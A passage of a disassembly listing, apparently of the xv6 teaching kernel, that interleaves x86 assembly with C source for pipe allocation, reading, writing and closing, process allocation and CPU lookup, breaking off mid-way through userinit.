%esp,%ebp 8010322d: ee out %al,(%dx) 8010322e: ba a1 00 00 00 mov $0xa1,%edx 80103233: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103234: 5d pop %ebp 80103235: c3 ret 80103236: 66 90 xchg %ax,%ax 80103238: 66 90 xchg %ax,%ax 8010323a: 66 90 xchg %ax,%ax 8010323c: 66 90 xchg %ax,%ax 8010323e: 66 90 xchg %ax,%ax 80103240 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103240: 55 push %ebp 80103241: 89 e5 mov %esp,%ebp 80103243: 57 push %edi 80103244: 56 push %esi 80103245: 53 push %ebx 80103246: 83 ec 0c sub $0xc,%esp 80103249: 8b 5d 08 mov 0x8(%ebp),%ebx 8010324c: 8b 75 0c mov 0xc(%ebp),%esi struct pipe *p; p = 0; *f0 = *f1 = 0; 8010324f: c7 06 00 00 00 00 movl $0x0,(%esi) 80103255: c7 03 00 00 00 00 movl $0x0,(%ebx) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010325b: e8 20 db ff ff call 80100d80 <filealloc> 80103260: 85 c0 test %eax,%eax 80103262: 89 03 mov %eax,(%ebx) 80103264: 74 22 je 80103288 <pipealloc+0x48> 80103266: e8 15 db ff ff call 80100d80 <filealloc> 8010326b: 85 c0 test %eax,%eax 8010326d: 89 06 mov %eax,(%esi) 8010326f: 74 3f je 801032b0 <pipealloc+0x70> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103271: e8 4a f2 ff ff call 801024c0 <kalloc> 80103276: 85 c0 test %eax,%eax 80103278: 89 c7 mov %eax,%edi 8010327a: 75 54 jne 801032d0 <pipealloc+0x90> //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 8010327c: 8b 03 mov (%ebx),%eax 8010327e: 85 c0 test %eax,%eax 80103280: 75 34 jne 801032b6 <pipealloc+0x76> 80103282: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(*f0); if(*f1) 80103288: 8b 06 mov (%esi),%eax 8010328a: 85 c0 test %eax,%eax 8010328c: 74 0c je 8010329a <pipealloc+0x5a> fileclose(*f1); 8010328e: 83 ec 0c sub $0xc,%esp 80103291: 50 push %eax 80103292: e8 a9 db ff ff call 80100e40 <fileclose> 80103297: 83 c4 10 add $0x10,%esp return -1; } 8010329a: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010329d: b8 ff ff ff ff mov $0xffffffff,%eax } 801032a2: 5b pop %ebx 801032a3: 5e pop %esi 801032a4: 5f pop %edi 801032a5: 5d pop %ebp 801032a6: c3 ret 801032a7: 89 f6 mov %esi,%esi 801032a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(*f0) 801032b0: 8b 03 mov (%ebx),%eax 801032b2: 85 c0 test %eax,%eax 801032b4: 74 e4 je 8010329a <pipealloc+0x5a> fileclose(*f0); 801032b6: 83 ec 0c sub $0xc,%esp 801032b9: 50 push %eax 801032ba: e8 81 db ff ff call 80100e40 <fileclose> if(*f1) 801032bf: 8b 06 mov (%esi),%eax fileclose(*f0); 801032c1: 83 c4 10 add $0x10,%esp if(*f1) 801032c4: 85 c0 test %eax,%eax 801032c6: 75 c6 jne 8010328e <pipealloc+0x4e> 801032c8: eb d0 jmp 8010329a <pipealloc+0x5a> 801032ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi initlock(&p->lock, "pipe"); 801032d0: 83 ec 08 sub $0x8,%esp p->readopen = 1; 801032d3: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801032da: 00 00 00 p->writeopen = 1; 801032dd: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801032e4: 00 00 00 p->nwrite = 0; 801032e7: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801032ee: 00 00 00 p->nread = 0; 801032f1: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801032f8: 00 00 00 initlock(&p->lock, "pipe"); 801032fb: 68 50 75 10 80 push $0x80107550 80103300: 50 push %eax 80103301: e8 ca 0f 00 00 call 801042d0 <initlock> (*f0)->type = FD_PIPE; 80103306: 8b 03 mov (%ebx),%eax return 0; 80103308: 83 c4 10 add $0x10,%esp (*f0)->type = FD_PIPE; 8010330b: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103311: 8b 03 mov (%ebx),%eax 80103313: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 80103317: 8b 03 mov (%ebx),%eax 80103319: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 8010331d: 8b 03 mov (%ebx),%eax 8010331f: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 80103322: 8b 06 mov (%esi),%eax 80103324: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 8010332a: 8b 06 mov (%esi),%eax 8010332c: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103330: 8b 06 mov (%esi),%eax 80103332: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103336: 8b 06 mov (%esi),%eax 80103338: 89 78 0c mov %edi,0xc(%eax) } 8010333b: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 8010333e: 31 c0 xor %eax,%eax } 80103340: 5b pop %ebx 80103341: 5e pop %esi 80103342: 5f pop %edi 80103343: 5d pop %ebp 80103344: c3 ret 80103345: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103350 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103350: 55 push %ebp 80103351: 89 e5 mov %esp,%ebp 80103353: 56 push %esi 80103354: 53 push %ebx 80103355: 8b 5d 08 mov 0x8(%ebp),%ebx 80103358: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010335b: 83 ec 0c sub $0xc,%esp 8010335e: 53 push %ebx 8010335f: e8 ac 10 00 00 call 80104410 <acquire> if(writable){ 80103364: 83 c4 10 add $0x10,%esp 80103367: 85 f6 test %esi,%esi 80103369: 74 45 je 801033b0 <pipeclose+0x60> p->writeopen = 0; wakeup(&p->nread); 8010336b: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 80103371: 83 ec 0c sub $0xc,%esp p->writeopen = 0; 80103374: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 8010337b: 00 00 00 wakeup(&p->nread); 8010337e: 50 push %eax 8010337f: e8 ac 0b 00 00 call 80103f30 <wakeup> 80103384: 83 c4 10 add $0x10,%esp } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103387: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010338d: 85 d2 test %edx,%edx 8010338f: 75 0a jne 8010339b <pipeclose+0x4b> 80103391: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103397: 85 c0 test %eax,%eax 80103399: 74 35 je 801033d0 <pipeclose+0x80> release(&p->lock); kfree((char*)p); } else release(&p->lock); 8010339b: 89 5d 08 mov %ebx,0x8(%ebp) } 8010339e: 8d 65 f8 lea -0x8(%ebp),%esp 801033a1: 5b pop %ebx 801033a2: 5e pop %esi 801033a3: 5d pop %ebp release(&p->lock); 801033a4: e9 27 11 00 00 jmp 801044d0 <release> 801033a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 801033b0: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 801033b6: 83 ec 0c sub $0xc,%esp p->readopen = 0; 801033b9: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801033c0: 00 00 00 wakeup(&p->nwrite); 801033c3: 50 push %eax 801033c4: e8 67 0b 00 00 call 80103f30 <wakeup> 801033c9: 83 c4 10 add $0x10,%esp 801033cc: eb b9 jmp 80103387 <pipeclose+0x37> 801033ce: 66 90 xchg %ax,%ax release(&p->lock); 801033d0: 83 ec 0c sub $0xc,%esp 801033d3: 53 push %ebx 801033d4: e8 f7 10 00 00 call 801044d0 <release> kfree((char*)p); 801033d9: 89 5d 08 mov %ebx,0x8(%ebp) 801033dc: 83 c4 10 add $0x10,%esp } 801033df: 8d 65 f8 lea -0x8(%ebp),%esp 801033e2: 5b pop %ebx 801033e3: 5e pop %esi 801033e4: 5d pop %ebp kfree((char*)p); 801033e5: e9 26 ef ff ff jmp 80102310 <kfree> 801033ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801033f0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801033f0: 55 push %ebp 801033f1: 89 e5 mov %esp,%ebp 801033f3: 57 push %edi 801033f4: 56 push %esi 801033f5: 53 push %ebx 801033f6: 83 ec 28 sub $0x28,%esp 801033f9: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801033fc: 53 push %ebx 801033fd: e8 0e 10 00 00 call 80104410 <acquire> for(i = 0; i < n; i++){ 80103402: 8b 45 10 mov 0x10(%ebp),%eax 80103405: 83 c4 10 add $0x10,%esp 80103408: 85 c0 test %eax,%eax 8010340a: 0f 8e c9 00 00 00 jle 801034d9 <pipewrite+0xe9> 80103410: 8b 4d 0c mov 0xc(%ebp),%ecx 80103413: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103419: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 8010341f: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103422: 03 4d 10 add 0x10(%ebp),%ecx 80103425: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103428: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 8010342e: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx 80103434: 39 d0 cmp %edx,%eax 80103436: 75 71 jne 801034a9 <pipewrite+0xb9> if(p->readopen == 0 || myproc()->killed){ 80103438: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 8010343e: 85 c0 test %eax,%eax 80103440: 74 4e je 80103490 <pipewrite+0xa0> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103442: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103448: eb 3a jmp 80103484 <pipewrite+0x94> 8010344a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi wakeup(&p->nread); 80103450: 83 ec 0c sub $0xc,%esp 80103453: 57 push %edi 80103454: e8 d7 0a 00 00 call 80103f30 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103459: 5a pop %edx 8010345a: 59 pop %ecx 8010345b: 53 push %ebx 8010345c: 56 push %esi 8010345d: e8 1e 09 00 00 call 80103d80 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103462: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103468: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010346e: 83 c4 10 add $0x10,%esp 80103471: 05 00 02 00 00 add $0x200,%eax 80103476: 39 c2 cmp %eax,%edx 80103478: 75 36 jne 801034b0 <pipewrite+0xc0> if(p->readopen == 0 || myproc()->killed){ 8010347a: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 80103480: 85 c0 test %eax,%eax 80103482: 74 0c je 80103490 <pipewrite+0xa0> 80103484: e8 57 03 00 00 call 801037e0 <myproc> 80103489: 8b 40 24 mov 0x24(%eax),%eax 8010348c: 85 c0 test %eax,%eax 8010348e: 74 c0 je 80103450 <pipewrite+0x60> release(&p->lock); 80103490: 83 ec 0c sub $0xc,%esp 80103493: 53 push %ebx 80103494: e8 37 10 00 00 call 801044d0 <release> return -1; 80103499: 83 c4 10 add $0x10,%esp 8010349c: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 801034a1: 8d 65 f4 lea -0xc(%ebp),%esp 801034a4: 5b pop %ebx 801034a5: 5e pop %esi 801034a6: 5f pop %edi 801034a7: 5d pop %ebp 801034a8: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801034a9: 89 c2 mov %eax,%edx 801034ab: 90 nop 801034ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801034b0: 8b 75 e4 mov -0x1c(%ebp),%esi 801034b3: 8d 42 01 lea 0x1(%edx),%eax 801034b6: 81 e2 ff 01 00 00 and $0x1ff,%edx 801034bc: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 801034c2: 83 c6 01 add $0x1,%esi 801034c5: 0f b6 4e ff movzbl -0x1(%esi),%ecx for(i = 0; i < n; i++){ 801034c9: 3b 75 e0 cmp -0x20(%ebp),%esi 801034cc: 89 75 e4 mov %esi,-0x1c(%ebp) p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801034cf: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 801034d3: 0f 85 4f ff ff ff jne 80103428 <pipewrite+0x38> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801034d9: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801034df: 83 ec 0c sub $0xc,%esp 801034e2: 50 push %eax 801034e3: e8 48 0a 00 00 call 80103f30 <wakeup> release(&p->lock); 801034e8: 89 1c 24 mov %ebx,(%esp) 801034eb: e8 e0 0f 00 00 call 801044d0 <release> return n; 801034f0: 83 c4 10 add $0x10,%esp 801034f3: 8b 45 10 mov 0x10(%ebp),%eax 801034f6: eb a9 jmp 801034a1 <pipewrite+0xb1> 801034f8: 90 nop 801034f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103500 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 80103500: 55 push %ebp 80103501: 89 e5 mov %esp,%ebp 80103503: 57 push %edi 80103504: 56 push %esi 80103505: 53 push %ebx 80103506: 83 ec 18 sub $0x18,%esp 80103509: 8b 75 08 mov 0x8(%ebp),%esi 8010350c: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 8010350f: 56 push %esi 80103510: e8 fb 0e 00 00 call 80104410 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103515: 83 c4 10 add $0x10,%esp 80103518: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 8010351e: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 80103524: 75 6a jne 80103590 <piperead+0x90> 80103526: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 8010352c: 85 db test %ebx,%ebx 8010352e: 0f 84 c4 00 00 00 je 801035f8 <piperead+0xf8> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 80103534: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 8010353a: eb 2d jmp 80103569 <piperead+0x69> 8010353c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103540: 83 ec 08 sub $0x8,%esp 80103543: 56 push %esi 80103544: 53 push %ebx 80103545: e8 36 08 00 00 call 80103d80 <sleep> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 8010354a: 83 c4 10 add $0x10,%esp 8010354d: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 80103553: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 80103559: 75 35 jne 80103590 <piperead+0x90> 8010355b: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103561: 85 d2 test %edx,%edx 80103563: 0f 84 8f 00 00 00 je 801035f8 <piperead+0xf8> if(myproc()->killed){ 80103569: e8 72 02 00 00 call 801037e0 <myproc> 8010356e: 8b 48 24 mov 0x24(%eax),%ecx 80103571: 85 c9 test %ecx,%ecx 80103573: 74 cb je 80103540 <piperead+0x40> release(&p->lock); 80103575: 83 ec 0c sub $0xc,%esp return -1; 80103578: bb ff ff ff ff mov $0xffffffff,%ebx release(&p->lock); 8010357d: 56 push %esi 8010357e: e8 4d 0f 00 00 call 801044d0 <release> return -1; 80103583: 83 c4 10 add $0x10,%esp addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103586: 8d 65 f4 lea -0xc(%ebp),%esp 80103589: 89 d8 mov %ebx,%eax 8010358b: 5b pop %ebx 8010358c: 5e pop %esi 8010358d: 5f pop %edi 8010358e: 5d pop %ebp 8010358f: c3 ret for(i = 0; i < n; i++){ //DOC: piperead-copy 80103590: 8b 45 10 mov 0x10(%ebp),%eax 80103593: 85 c0 test %eax,%eax 80103595: 7e 61 jle 801035f8 <piperead+0xf8> if(p->nread == p->nwrite) 80103597: 31 db xor %ebx,%ebx 80103599: eb 13 jmp 801035ae <piperead+0xae> 8010359b: 90 nop 8010359c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801035a0: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 801035a6: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 801035ac: 74 1f je 801035cd <piperead+0xcd> addr[i] = p->data[p->nread++ % PIPESIZE]; 801035ae: 8d 41 01 lea 0x1(%ecx),%eax 801035b1: 81 e1 ff 01 00 00 and $0x1ff,%ecx 801035b7: 89 86 34 02 00 00 mov %eax,0x234(%esi) 801035bd: 0f b6 44 0e 34 movzbl 0x34(%esi,%ecx,1),%eax 801035c2: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 801035c5: 83 c3 01 add $0x1,%ebx 801035c8: 39 5d 10 cmp %ebx,0x10(%ebp) 801035cb: 75 d3 jne 801035a0 <piperead+0xa0> wakeup(&p->nwrite); //DOC: piperead-wakeup 801035cd: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 801035d3: 83 ec 0c sub $0xc,%esp 801035d6: 50 push %eax 801035d7: e8 54 09 00 00 call 80103f30 <wakeup> release(&p->lock); 801035dc: 89 34 24 mov %esi,(%esp) 801035df: e8 ec 0e 00 00 call 801044d0 <release> return i; 801035e4: 83 c4 10 add $0x10,%esp } 801035e7: 8d 65 f4 lea -0xc(%ebp),%esp 801035ea: 89 d8 mov %ebx,%eax 801035ec: 5b pop %ebx 801035ed: 5e pop %esi 801035ee: 5f pop %edi 801035ef: 5d pop %ebp 801035f0: c3 ret 801035f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801035f8: 31 db xor %ebx,%ebx 801035fa: eb d1 jmp 801035cd <piperead+0xcd> 801035fc: 66 90 xchg %ax,%ax 801035fe: 66 90 xchg %ax,%ax 80103600 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 80103600: 55 push %ebp 80103601: 89 e5 mov %esp,%ebp 80103603: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103604: bb 54 2d 11 80 mov $0x80112d54,%ebx { 80103609: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); 8010360c: 68 20 2d 11 80 push $0x80112d20 80103611: e8 fa 0d 00 00 call 80104410 <acquire> 80103616: 83 c4 10 add $0x10,%esp 80103619: eb 10 jmp 8010362b <allocproc+0x2b> 8010361b: 90 nop 8010361c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103620: 83 c3 7c add $0x7c,%ebx 80103623: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103629: 73 75 jae 801036a0 <allocproc+0xa0> if(p->state == UNUSED) 8010362b: 8b 43 0c mov 0xc(%ebx),%eax 8010362e: 85 c0 test %eax,%eax 80103630: 75 ee jne 80103620 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 80103632: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 80103637: 83 ec 0c sub $0xc,%esp p->state = EMBRYO; 8010363a: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 80103641: 8d 50 01 lea 0x1(%eax),%edx 80103644: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103647: 68 20 2d 11 80 push $0x80112d20 p->pid = nextpid++; 8010364c: 89 15 04 a0 10 80 mov %edx,0x8010a004 release(&ptable.lock); 80103652: e8 79 0e 00 00 call 801044d0 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103657: e8 64 ee ff ff call 801024c0 <kalloc> 8010365c: 83 c4 10 add $0x10,%esp 8010365f: 85 c0 test %eax,%eax 80103661: 89 43 08 mov %eax,0x8(%ebx) 80103664: 74 53 je 801036b9 <allocproc+0xb9> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103666: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 8010366c: 83 ec 04 sub $0x4,%esp sp -= sizeof *p->context; 8010366f: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 80103674: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103677: c7 40 14 81 57 10 80 movl $0x80105781,0x14(%eax) p->context = (struct context*)sp; 8010367e: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 80103681: 6a 14 push $0x14 80103683: 6a 00 push $0x0 80103685: 50 push %eax 80103686: e8 95 0e 00 00 call 80104520 <memset> p->context->eip = (uint)forkret; 8010368b: 8b 43 1c mov 0x1c(%ebx),%eax return p; 8010368e: 83 c4 10 add $0x10,%esp p->context->eip = (uint)forkret; 80103691: c7 40 10 d0 36 10 80 movl $0x801036d0,0x10(%eax) } 80103698: 89 d8 mov %ebx,%eax 8010369a: 8b 5d fc mov -0x4(%ebp),%ebx 8010369d: c9 leave 8010369e: c3 ret 8010369f: 90 nop release(&ptable.lock); 801036a0: 83 ec 0c sub $0xc,%esp return 0; 801036a3: 31 db xor %ebx,%ebx release(&ptable.lock); 801036a5: 68 20 2d 11 80 push $0x80112d20 801036aa: e8 21 0e 00 00 call 801044d0 <release> } 801036af: 89 d8 mov %ebx,%eax return 0; 801036b1: 83 c4 10 add $0x10,%esp } 801036b4: 8b 5d fc mov -0x4(%ebp),%ebx 801036b7: c9 leave 801036b8: c3 ret p->state = UNUSED; 801036b9: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 801036c0: 31 db xor %ebx,%ebx 801036c2: eb d4 jmp 80103698 <allocproc+0x98> 801036c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036d0 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 801036d0: 55 push %ebp 801036d1: 89 e5 mov %esp,%ebp 801036d3: 83 ec 14 sub $0x14,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 801036d6: 68 20 2d 11 80 push $0x80112d20 801036db: e8 f0 0d 00 00 call 801044d0 <release> if (first) { 801036e0: a1 00 a0 10 80 mov 0x8010a000,%eax 801036e5: 83 c4 10 add $0x10,%esp 801036e8: 85 c0 test %eax,%eax 801036ea: 75 04 jne 801036f0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801036ec: c9 leave 801036ed: c3 ret 801036ee: 66 90 xchg %ax,%ax iinit(ROOTDEV); 801036f0: 83 ec 0c sub $0xc,%esp first = 0; 801036f3: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801036fa: 00 00 00 iinit(ROOTDEV); 801036fd: 6a 01 push $0x1 801036ff: e8 7c dd ff ff call 80101480 <iinit> initlog(ROOTDEV); 80103704: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8010370b: e8 f0 f3 ff ff call 80102b00 <initlog> 80103710: 83 c4 10 add $0x10,%esp } 80103713: c9 leave 80103714: c3 ret 80103715: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103720 <pinit>: { 80103720: 55 push %ebp 80103721: 89 e5 mov %esp,%ebp 80103723: 83 ec 10 sub $0x10,%esp initlock(&ptable.lock, "ptable"); 80103726: 68 55 75 10 80 push $0x80107555 8010372b: 68 20 2d 11 80 push $0x80112d20 80103730: e8 9b 0b 00 00 call 801042d0 <initlock> } 80103735: 83 c4 10 add $0x10,%esp 80103738: c9 leave 80103739: c3 ret 8010373a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103740 <mycpu>: { 80103740: 55 push %ebp 80103741: 89 e5 mov %esp,%ebp 80103743: 56 push %esi 80103744: 53 push %ebx asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103745: 9c pushf 80103746: 58 pop %eax if(readeflags()&FL_IF) 80103747: f6 c4 02 test $0x2,%ah 8010374a: 75 5e jne 801037aa <mycpu+0x6a> apicid = lapicid(); 8010374c: e8 df ef ff ff call 80102730 <lapicid> for (i = 0; i < ncpu; ++i) { 80103751: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 80103757: 85 f6 test %esi,%esi 80103759: 7e 42 jle 8010379d <mycpu+0x5d> if (cpus[i].apicid == apicid) 8010375b: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103762: 39 d0 cmp %edx,%eax 80103764: 74 30 je 80103796 <mycpu+0x56> 80103766: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010376b: 31 d2 xor %edx,%edx 8010376d: 8d 76 00 lea 0x0(%esi),%esi 80103770: 83 c2 01 add $0x1,%edx 80103773: 39 f2 cmp %esi,%edx 80103775: 74 26 je 8010379d <mycpu+0x5d> if (cpus[i].apicid == apicid) 80103777: 0f b6 19 movzbl (%ecx),%ebx 8010377a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103780: 39 c3 cmp %eax,%ebx 80103782: 75 ec jne 80103770 <mycpu+0x30> 80103784: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax 8010378a: 05 80 27 11 80 add $0x80112780,%eax } 8010378f: 8d 65 f8 lea -0x8(%ebp),%esp 80103792: 5b pop %ebx 80103793: 5e pop %esi 80103794: 5d pop %ebp 80103795: c3 ret if (cpus[i].apicid == apicid) 80103796: b8 80 27 11 80 mov $0x80112780,%eax return &cpus[i]; 8010379b: eb f2 jmp 8010378f <mycpu+0x4f> panic("unknown apicid\n"); 8010379d: 83 ec 0c sub $0xc,%esp 801037a0: 68 5c 75 10 80 push $0x8010755c 801037a5: e8 e6 cb ff ff call 80100390 <panic> panic("mycpu called with interrupts enabled\n"); 801037aa: 83 ec 0c sub $0xc,%esp 801037ad: 68 8c 76 10 80 push $0x8010768c 801037b2: e8 d9 cb ff ff call 80100390 <panic> 801037b7: 89 f6 mov %esi,%esi 801037b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037c0 <cpuid>: cpuid() { 801037c0: 55 push %ebp 801037c1: 89 e5 mov %esp,%ebp 801037c3: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 801037c6: e8 75 ff ff ff call 80103740 <mycpu> 801037cb: 2d 80 27 11 80 sub $0x80112780,%eax } 801037d0: c9 leave return mycpu()-cpus; 801037d1: c1 f8 04 sar $0x4,%eax 801037d4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 801037da: c3 ret 801037db: 90 nop 801037dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801037e0 <myproc>: myproc(void) { 801037e0: 55 push %ebp 801037e1: 89 e5 mov %esp,%ebp 801037e3: 53 push %ebx 801037e4: 83 ec 04 sub $0x4,%esp pushcli(); 801037e7: e8 54 0b 00 00 call 80104340 <pushcli> c = mycpu(); 801037ec: e8 4f ff ff ff call 80103740 <mycpu> p = c->proc; 801037f1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801037f7: e8 84 0b 00 00 call 80104380 <popcli> } 801037fc: 83 c4 04 add $0x4,%esp 801037ff: 89 d8 mov %ebx,%eax 80103801: 5b pop %ebx 80103802: 5d pop %ebp 80103803: c3 ret 80103804: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010380a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103810 <userinit>: { 80103810: 55 push %ebp 80103811: 89 e5 mov %esp,%ebp 80103813: 53 push %ebx 80103814: 83 ec 04 sub $0x4,%esp p = allocproc(); 80103817: e8 e4 fd ff ff call 80103600 <allocproc> 8010381c: 89 c3 mov %eax,%ebx initproc = p; 8010381e: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 80103823: e8 28 35 00 00 call 80106d50 <setupkvm> 80103828: 85 c0 test %eax,%eax 8010382a: 89 43 04 mov %eax,0x4(%ebx) 8010382d: 0f 84 bd 00 00 00 je 801038f0 <userinit+0xe0> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80103833: 83 ec 04 sub $0x4,%esp 80103836: 68 2c 00 00 00 push $0x2c 8010383b: 